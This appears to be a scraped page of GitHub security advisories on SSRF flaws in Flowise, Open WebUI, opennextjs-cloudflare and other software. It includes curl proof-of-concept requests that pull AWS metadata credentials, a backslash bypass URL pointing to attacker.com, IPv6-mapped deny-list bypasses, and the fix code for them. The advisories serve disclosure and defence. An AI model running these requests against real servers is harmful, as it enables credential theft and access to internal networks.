169.254.0.0/16\nparsedIp.kind()    = \u0027ipv6\u0027\nparsedRange.kind() = \u0027ipv4\u0027\nkind match?        = false \u2190 CIDR check is SKIPPED!\nBut the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)\n```\n\n**Step 5: Proposed fix \u2014 all bypass addresses now blocked \u2705**\n```\n::ffff:169.254.169.254         \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 169.254.0.0/16)\n::ffff:127.0.0.1               \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 127.0.0.0/8)\n::ffff:10.0.0.1                \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 10.0.0.0/8)\n::ffff:192.168.1.1             \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 192.168.0.0/16)\n::ffff:172.16.0.1              \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 172.16.0.0/12)\n```\n\n**Step 6: Attack simulation**\n```\nVulnerable isDeniedIP:  \u26a0\ufe0f ALLOWED \u2192 Request reaches AWS metadata!\nFixed isDeniedIP:       \ud83d\udd12 BLOCKED \u2192 Attack prevented!\n```\n\n\u003e **Verification environment**: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency `^2.2.0`)\n\u003e **PoC script**: [poc_ssrf_bypass.js](https://github.com/user-attachments/files/26456899/poc_ssrf_bypass.js)\n\n\n## Impact\n\n| Target | Impact | Severity |\n|--------|--------|----------|\n| AWS/GCP/Azure Metadata (`169.254.169.254`) | Steal IAM credentials, service account tokens | Critical |\n| Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`) | Access internal APIs, databases, admin panels | High |\n| Localhost (`127.0.0.1`) | Access Flowise\u0027s own API with elevated privileges, access co-located services | High |\n\nThis bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) **completely ineffective** against IPv4-mapped IPv6 DNS resolution.\n\n## Remediation\n\n### Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)\n\n```typescript\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n    let parsedIp = ipaddr.parse(ip);\n    \n    // \u2705 FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking\n    if (parsedIp.kind() === \u0027ipv6\u0027 \u0026\u0026 parsedIp.isIPv4MappedAddress()) {\n        parsedIp = parsedIp.toIPv4Address();\n    }\n    \n    for (const entry of denyList) {\n        if (entry.includes(\u0027/\u0027)) {\n            try {\n                const [range, _] = entry.split(\u0027/\u0027);\n                let parsedRange = ipaddr.parse(range);\n                // Also normalize deny list entries\n                if (parsedRange.kind() === \u0027ipv6\u0027 \u0026\u0026 parsedRange.isIPv4MappedAddress()) {\n                    parsedRange = parsedRange.toIPv4Address();\n                }\n                if (parsedIp.kind() === parsedRange.kind()) {\n                    if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n                        throw new Error(\u0027Access to this host is denied by policy.\u0027);\n                    }\n                }\n            } catch (error) {\n                throw new Error(`isDeniedIP: ${error}`);\n            }\n        } else if (ip === entry) {\n            throw new Error(\u0027Access to this host is denied by policy.\u0027);\n        }\n    }\n}\n```\n\n### Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth)\n\nAdditionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:\n\n```typescript\nconst DEFAULT_DENY_LIST = [\n    // ... existing entries ...\n    \u0027::ffff:0:0/96\u0027,        // Block ALL IPv4-mapped IPv6 addresses\n    \u0027::ffff:127.0.0.1/128\u0027, // Explicit loopback mapped\n    \u0027::ffff:169.254.0.0/112\u0027, // Explicit link-local mapped  \n    \u0027::ffff:10.0.0.0/104\u0027,  // Explicit RFC1918 Class A mapped\n    \u0027::ffff:172.16.0.0/108\u0027, // Explicit RFC1918 Class B mapped\n    \u0027::ffff:192.168.0.0/112\u0027, // Explicit RFC1918 Class C mapped\n];\n```\n\n### Option 3: Also normalize in `resolveAndValidate()` (Belt and suspenders)\n\n```typescript\nasync function resolveAndValidate(url: string): Promise\u003cResolvedTarget\u003e {\n    // ... existing code ...\n    const records = await dns.lookup(hostname, { all: true });\n    for (const r of records) {\n        let address = r.address;\n        // Normalize IPv4-mapped IPv6 for deny list checking\n        if (ipaddr.isValid(address)) {\n            const parsed = ipaddr.parse(address);\n            if (parsed.kind() === \u0027ipv6\u0027 \u0026\u0026 parsed.isIPv4MappedAddress()) {\n                address = parsed.toIPv4Address().toString();\n            }\n        }\n        isDeniedIP(address, denyList);\n    }\n    // ... rest of code ...\n}\n```",
  "id": "GHSA-c6xh-wv4j-ppv5",
  "modified": "2026-08-04T15:51:59Z",
  "published": "2026-08-04T15:51:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c6xh-wv4j-ppv5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/0fc769208395641c1411ccdb9c81416e54802155"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses"
}

GHSA-C6XV-RCVW-V685

Vulnerability from github – Published: 2025-12-04 22:03 – Updated: 2025-12-04 22:03
VLAI
Summary
Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.

Details

The vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.

Vulnerable code: @router.post("/process/web") def process_web( request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user) ): try: collection_name = form_data.collection_name if not collection_name: collection_name = calculate_sha256_string(form_data.url)[:63]

      content, docs = get_content_from_url(request, form_data.url)  # ← SSRF vulnerability

The form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:

Call chain: 1. retrieval.py:1767 → get_content_from_url(request, form_data.url) 2. retrieval/utils.py:77 → get_loader(request, url) 3. retrieval/utils.py:62 → get_web_loader(url, ...) or YoutubeLoader(url, ...) 4. Both loaders fetch the user-supplied URL without validation

No validation is performed for: - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) - Localhost addresses (127.0.0.0/8) - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254) - Protocol restrictions (file://, gopher://, etc.) - Domain allowlisting

PoC

Prerequisites: Valid user account (any role)

Step 1 - Authenticate: TOKEN=$(curl -s "http://localhost:3000/api/v1/auths/signin" \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 2 - Basic SSRF Test (external URL): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://example.com"}'

Result: Server fetches example.com and returns its content, proving the vulnerability.

{ "status": true, "file": { "data": { "content": "Example Domain This domain is for use in documentation..." } } }

Step 3 - Advanced Attack (AWS metadata): curl -s "http://localhost:3000/api/v1/retrieval/process/web" \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Result: Server exposes cloud credentials if running on AWS/GCP/Azure.

Other attack examples: - Internal network: {"url":"http://192.168.1.1"} - Localhost services: {"url":"http://localhost:5432"} - Internal APIs: {"url":"http://internal-api.local"}

Impact

Who is affected: All authenticated users (no special permissions required)

Attack capabilities:

  1. Cloud Environment Compromise
    • Steal AWS/GCP/Azure credentials via metadata endpoints
    • Result: Full cloud account takeover
  2. Internal Network Access
    • Bypass firewalls to access internal services (databases, admin panels, APIs)
    • Port scan and map internal infrastructure
    • Result: Complete network visibility
  3. Data Exfiltration
    • Read internal documentation, configurations, secrets
    • Access Kubernetes API servers
    • Result: Credential theft, API key exposure
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.36"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.37"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-04T22:03:19Z",
    "nvd_published_at": "2025-12-04T20:16:19Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Server-Side Request Forgery (SSRF) vulnerability in Open WebUI allows any authenticated user to force the server to make HTTP requests to arbitrary URLs. This can be exploited to access cloud metadata endpoints (AWS/GCP/Azure), scan internal networks, access internal services behind firewalls, and exfiltrate sensitive information. No special permissions beyond basic authentication are required.\n\n\n### Details\nThe vulnerability exists in the /api/v1/retrieval/process/web endpoint located in backend/open_webui/routers/retrieval.py at lines 1758-1767.\n\n  Vulnerable code:\n  @router.post(\"/process/web\")\n  def process_web(\n      request: Request, form_data: ProcessUrlForm, user=Depends(get_verified_user)\n  ):\n      try:\n          collection_name = form_data.collection_name\n          if not collection_name:\n              collection_name = calculate_sha256_string(form_data.url)[:63]\n\n          content, docs = get_content_from_url(request, form_data.url)  # \u2190 SSRF vulnerability\n\nThe form_data.url parameter is passed directly to get_content_from_url() without any validation. This function chain ultimately calls web loaders that fetch arbitrary URLs:\n\n  Call chain:\n  1. retrieval.py:1767 \u2192 get_content_from_url(request, form_data.url)\n  2. retrieval/utils.py:77 \u2192 get_loader(request, url)\n  3. retrieval/utils.py:62 \u2192 get_web_loader(url, ...) or YoutubeLoader(url, ...)\n  4. Both loaders fetch the user-supplied URL without validation\n\n  No validation is performed for:\n  - Private IP ranges (RFC1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)\n  - Localhost addresses (127.0.0.0/8)\n  - Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)\n  - Protocol restrictions (file://, gopher://, etc.)\n  - Domain allowlisting\n\n\n### PoC\nPrerequisites: Valid user account (any role)\n\n  Step 1 - Authenticate:\n  TOKEN=$(curl -s \"http://localhost:3000/api/v1/auths/signin\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"email\":\"user@example.com\",\"password\":\"password\"}\u0027 \\\n    | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\n  Step 2 - Basic SSRF Test (external URL):\n  curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n    -H \"Authorization: Bearer $TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"url\":\"http://example.com\"}\u0027\n\n  Result: Server fetches example.com and returns its content, proving the vulnerability.\n\n  {\n    \"status\": true,\n    \"file\": {\n      \"data\": {\n        \"content\": \"Example Domain This domain is for use in documentation...\"\n      }\n    }\n  }\n\n  Step 3 - Advanced Attack (AWS metadata):\n  curl -s \"http://localhost:3000/api/v1/retrieval/process/web\" \\\n    -H \"Authorization: Bearer $TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\u0027\n\n  Result: Server exposes cloud credentials if running on AWS/GCP/Azure.\n\n  Other attack examples:\n  - Internal network: {\"url\":\"http://192.168.1.1\"}\n  - Localhost services: {\"url\":\"http://localhost:5432\"}\n  - Internal APIs: {\"url\":\"http://internal-api.local\"}\n\n\n### Impact\nWho is affected: All authenticated users (no special permissions required)\n\n  Attack capabilities:\n\n  1. Cloud Environment Compromise\n    - Steal AWS/GCP/Azure credentials via metadata endpoints\n    - Result: Full cloud account takeover\n  2. Internal Network Access\n    - Bypass firewalls to access internal services (databases, admin panels, APIs)\n    - Port scan and map internal infrastructure\n    - Result: Complete network visibility\n  3. Data Exfiltration\n    - Read internal documentation, configurations, secrets\n    - Access Kubernetes API servers\n    - Result: Credential theft, API key exposure",
  "id": "GHSA-c6xv-rcvw-v685",
  "modified": "2025-12-04T22:03:19Z",
  "published": "2025-12-04T22:03:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-c6xv-rcvw-v685"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65958"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/02238d3113e966c353fce18f1b65117380896774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI vulnerable to Server-Side Request Forgery (SSRF) via Arbitrary URL Processing in /api/v1/retrieval/process/web"
}

GHSA-C79C-3Q26-RXXC

Vulnerability from github – Published: 2026-09-26 15:31 – Updated: 2026-09-26 15:31
VLAI
Details

ClawHub (openclaw/clawhub) application/backend contains a server-side request forgery vulnerability in the public profile preview's image fetching. The preview accepts a user-supplied image URL and checks the textual hostname against private-address patterns, but does not validate or pin the resolved network destination, so a public-looking hostname can resolve to an internal address or change resolution between validation and connection (DNS rebinding). A maintainer-run local harness demonstrated an outbound connection to an owner-controlled loopback listener; access to production internal services, credential disclosure, and code execution were not demonstrated. The issue was confirmed at revision cbfee7343ddc867316dd9b3de6fa8856730f9f41; the complete historical affected range was not established. Fixed by PR #3683, included in revision 8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650, which was deployed to clawhub.ai on 2026-09-11; self-hosted deployments should update to that revision or a later descendant. The npm CLI and OpenClaw runtime are separate products and are not affected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-100601"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-26T14:16:40Z",
    "severity": "MODERATE"
  },
  "details": "ClawHub (openclaw/clawhub) application/backend contains a server-side request forgery vulnerability in the public profile preview\u0027s image fetching. The preview accepts a user-supplied image URL and checks the textual hostname against private-address patterns, but does not validate or pin the resolved network destination, so a public-looking hostname can resolve to an internal address or change resolution between validation and connection (DNS rebinding). A maintainer-run local harness demonstrated an outbound connection to an owner-controlled loopback listener; access to production internal services, credential disclosure, and code execution were not demonstrated. The issue was confirmed at revision cbfee7343ddc867316dd9b3de6fa8856730f9f41; the complete historical affected range was not established. Fixed by PR #3683, included in revision 8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650, which was deployed to clawhub.ai on 2026-09-11; self-hosted deployments should update to that revision or a later descendant. The npm CLI and OpenClaw runtime are separate products and are not affected.",
  "id": "GHSA-c79c-3q26-rxxc",
  "modified": "2026-09-26T15:31:13Z",
  "published": "2026-09-26T15:31:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/clawhub/security/advisories/GHSA-48gp-hx8w-wjvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100601"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/clawhub/commit/8c2de6c506bb4efabe3f0c2ffb8370b9e23d4650"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/clawhub-ssrf-via-unchecked-dns-resolution-in-profile-image"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C7C8-3594-H7VM

Vulnerability from github – Published: 2022-08-29 20:06 – Updated: 2022-09-02 00:01
VLAI
Details

The Mailchimp for WooCommerce WordPress plugin before 2.7.1 has an AJAX action that allows any logged in users (such as subscriber) to perform a POST request on behalf of the server to the internal network/LAN, the body of the request is also appended to the response so it can be used to scan private network for example

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2267"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-29T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Mailchimp for WooCommerce WordPress plugin before 2.7.1 has an AJAX action that allows any logged in users (such as subscriber) to perform a POST request on behalf of the server to the internal network/LAN, the body of the request is also appended to the response so it can be used to scan private network for example",
  "id": "GHSA-c7c8-3594-h7vm",
  "modified": "2022-09-02T00:01:14Z",
  "published": "2022-08-29T20:06:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2267"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/e3bd9f8c-919a-40af-9e80-607573e71870"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C7CW-QCQW-C783

Vulnerability from github – Published: 2026-06-05 12:31 – Updated: 2026-06-05 12:31
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability in the custom process creation feature of linqi allows an authenticated attacker to probe internal network components. By crafting a specific process containing an HTTP Request component, an attacker can force the server to send arbitrary HTTP requests. By observing the varying application responses (Success, Failed, or 504 Gateway Time-out), the attacker can determine the status of internal ports, leading to internal network reconnaissance.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11346"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T12:16:37Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability in the custom process creation feature of linqi allows an authenticated attacker to probe internal network components. By crafting a specific process containing an HTTP Request component, an attacker can force the server to send arbitrary HTTP requests. By observing the varying application responses (Success, Failed, or 504 Gateway Time-out), the attacker can determine the status of internal ports, leading to internal network reconnaissance.",
  "id": "GHSA-c7cw-qcqw-c783",
  "modified": "2026-06-05T12:31:46Z",
  "published": "2026-06-05T12:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11346"
    },
    {
      "type": "WEB",
      "url": "https://linqi.help/en/reference/security/security-advisories/#security-advisory-server-side-request-forgery-ssrf-allowing-internal-network-probing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-C7MQ-GH6Q-6Q7C

Vulnerability from github – Published: 2026-03-05 00:57 – Updated: 2026-03-05 00:57
VLAI
Summary
opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass
Details

A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.

The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.

For example: https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com

In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.

Note: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.

Additionally, Cloudflare Workers with Assets and Cloudflare Pages suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

Impact

  • SSRF via path normalization bypass of Cloudflare edge interception
  • Arbitrary remote content loading under the victim site's domain
  • Same-origin policy bypass
  • Potential for infrastructure abuse (scanning from Cloudflare IP space, worker resource exhaustion)
  • Exposure of private assets stored under /cdn-cgi/ paths. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.

Credits

Disclosed responsibly by security researcher @Ezzer17.

Mitigations

The following mitigations have been put in place:

Server-side updates to Cloudflare's Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.

In addition to the platform level fix, Root cause fix has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 (https://www.npmjs.com/package/@opennextjs/cloudflare)

Dependency update to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next. Despite the automatic mitigation deployed on Cloudflare's platform, we encourage affected users to upgrade to the patched version of @opennextjs/cloudflare.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@opennextjs/cloudflare"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-706",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T00:57:07Z",
    "nvd_published_at": "2026-03-04T19:16:19Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.\n\nThe @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare\u0027s edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.\n\nFor example: https://victim-site.com/cdn-cgi\\image/aaaa/https://attacker.com\n\nIn this example, attacker-controlled content from attacker.com is served through the victim site\u0027s domain (victim-site.com), violating the same-origin policy and potentially misleading users or other services.\n\nNote: This bypass only works via HTTP clients that preserve backslashes in paths (e.g., curl --path-as-is). Browsers normalize backslashes to forward slashes before sending requests.\n\nAdditionally, Cloudflare Workers with Assets and Cloudflare Pages  suffer from a similar vulnerability. Assets stored under /cdn-cgi/ paths are not publicly accessible under normal conditions. However, using the same backslash bypass (/cdn-cgi\\... instead of /cdn-cgi/...), these assets become publicly accessible. This could be used to retrieve private data. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.\n\n### Impact\n\n- SSRF via path normalization bypass of Cloudflare edge interception\n- Arbitrary remote content loading under the victim site\u0027s domain\n- Same-origin policy bypass\n- Potential for infrastructure abuse (scanning from Cloudflare IP space, worker resource exhaustion)\n- Exposure of private assets stored under /cdn-cgi/ paths. For example, Open Next projects store incremental cache data under /cdn-cgi/_next_cache, which could be exposed via this bypass.\n\n### Credits\n\nDisclosed responsibly by security researcher @Ezzer17.\n\n### Mitigations\n\nThe following mitigations have been put in place:\n\nServer-side updates to Cloudflare\u0027s Workers platform to block backslash path normalization bypasses for /cdn-cgi requests. The update automatically mitigates the issue for all existing and any future sites deployed to Cloudflare Workers.\n\nIn addition to the platform level fix, [Root cause fix](https://github.com/opennextjs/opennextjs-cloudflare/pull/1147) has been implemented to the Cloudflare adapter for Open Next. The patched version of the adapter is found at @opennextjs/cloudflare@1.17.1 (https://www.npmjs.com/package/@opennextjs/cloudflare)\n\n[Dependency update](https://github.com/opennextjs/opennextjs-cloudflare/pull/1150) to the Next.js template used with create-cloudflare (c3) to use the fixed version of the Cloudflare adapter for Open Next. Despite the automatic mitigation deployed on Cloudflare\u0027s platform, we encourage affected users to upgrade to the patched version of @opennextjs/cloudflare.",
  "id": "GHSA-c7mq-gh6q-6q7c",
  "modified": "2026-03-05T00:57:07Z",
  "published": "2026-03-05T00:57:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/opennextjs/opennextjs-cloudflare/security/advisories/GHSA-c7mq-gh6q-6q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3125"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opennextjs/opennextjs-cloudflare/pull/1147"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opennextjs/opennextjs-cloudflare/commit/f5bd138fd3c77e02f2aa4b9c76d55681e59e98b4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rvpw-p7vw-wj3m"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/opennextjs/opennextjs-cloudflare"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/cverecord?id=CVE-2025-6087"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/@opennextjs/cloudflare/v/1.17.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "opennextjs-cloudflare has SSRF vulnerability via /cdn-cgi/ path normalization bypass"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.